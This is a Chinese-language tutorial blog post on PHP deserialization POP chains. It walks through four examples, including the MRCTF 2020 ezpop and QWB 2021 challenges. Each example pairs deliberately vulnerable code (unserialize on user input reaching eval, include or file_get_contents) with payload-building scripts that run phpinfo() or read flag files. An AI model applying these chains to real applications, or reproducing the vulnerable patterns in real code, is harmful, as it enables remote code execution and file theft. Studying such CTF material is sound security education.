1. 程式人生 > 其它 >php反序列化——pop鏈實戰

php反序列化——pop鏈實戰

php反序列化詳解參考:https://www.cnblogs.com/pursue-security/p/15291087.html

php反序列化之魔法函式詳解:https://www.cnblogs.com/pursue-security/p/15291121.html

本文主要是通過一些例項來學習pop鏈的構造

例項一

一般來說,出現php反序列化漏洞是因為有寫的不安全的魔術方法,因為魔術方法會自動呼叫,那我們就可以構造惡意的exp來觸發它,但有的時候如果出現漏洞的程式碼不在魔術方法中,而是隻在一個普通方法中,那我們怎麼利用呢?這時候我們可以尋找魔術方法中是否呼叫了同名的函式,然後通過相同的函式名將類的屬性和魔術方法中的屬性聯絡起來

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}
class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['a']); ?>

比如說上面這個例子,危險函式應該是evil類中的action方法,裡面有個eval,但action方法並不是魔術方法,一般情況下我們是很難呼叫它的,但我們看到test類中的__destruct()呼叫了action方法,但在__construct()中可以看出它建立了一個normal類的物件,然後呼叫的是normal類中的action方法;這個就很好辦,我們把魔術方法中的屬性改一下,改成建立一個evil

類的物件,那它自然呼叫的就是evil類中的action方法了,有了思路下面就來構造:

<?php
class test {
    protected $ClassObj;
}
class evil {
    private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

本來構造出來應該是這樣,建立一個evil類的物件然後把它賦值給ClassObj屬性,但這裡這樣寫不行,因為ClassObj屬性是protected屬性,不能在類外面訪問它,所以說我們得在test類裡面寫一個__construct()來完成這個操作:

<?php
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>

例題二

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析:先找鏈子的頭和尾,頭部明顯是GET傳參,尾部是Uwant類中的getshell,然後往上倒推,Uwant類中的__get()中呼叫了getshellShow類中的toString呼叫了__get(),然後Hello類中的__destruct(),而我們GET傳參之後會先進入__destruct(),這樣子頭和尾就連上了,所以說完整的鏈子就是:

頭 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

至於魔術方法具體是怎麼呼叫的這就不講了,請看上一篇文章,這兒就簡單提一下,在Hello類中我們要把$this->str賦值成物件,下面echo出來才能呼叫Show類中的__toString(),然後再把Show類中的$this->str['str']賦值成物件,來呼叫Uwant類中的__get()

<?php
class Hello
{
    public $source;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Uwant
{
    public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

例題三——2020 mrctf ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

思路分析:仍然是先找鏈子的頭和尾,頭部依然是一個GET傳參,而尾部在Modifier類中的append()方法中,因為裡面有個include可以完成任意檔案包含,那我們很容易就可以想到用偽協議來讀檔案,綜合上面的提示,應該flag就是在flag.php中,我們把它讀出來就好;找到尾部之後往前倒推,在Modifier類中的__invoke()呼叫了append(),然後在Test類中的__get()返回的是$function(),可以呼叫__invoke(),再往前Show類中的__toString()可以呼叫__get(),然後在Show類中的__wakeup()中有一個正則匹配,可以呼叫__toString(),然後當我們傳入字串,反序列化之後最先進入的就是__wakeup(),這樣子頭和尾就連上了,如下圖(來自LTLT):

頭 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));

?>

然後base64解碼

例題四——2021 強網杯 賭徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

分析:首先依然是找到頭和尾,頭部依然是一個GET傳參,而尾部可以看到Room類中有個Get_hint()方法,裡面有一個file_get_contents,可以實現任意檔案讀取,我們就可以利用這個讀取flag檔案了,然後就是往前倒推,Room類中__invoke()方法呼叫了Get_hint(),然後Room類的__get()裡面有個return $function()可以呼叫__invoke(),再往前看,Info類中的__toString()中有Room類中不存在的屬性,所以可以呼叫__get(),然後Start類中有個_sayhello()可以呼叫__toString(),然後在Start類中__wakeup()方法中直接呼叫了_sayhello(),而我們知道的是,輸入字串之後就會先進入__wakeup(),這樣頭和尾就連上了

有了思路我們就直接開始構造,一般找思路我們是從尾到頭,而構造則是直接從頭到尾

頭 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

成功打通,注意要把前面的hi去掉再進行base64編碼才能得到flag。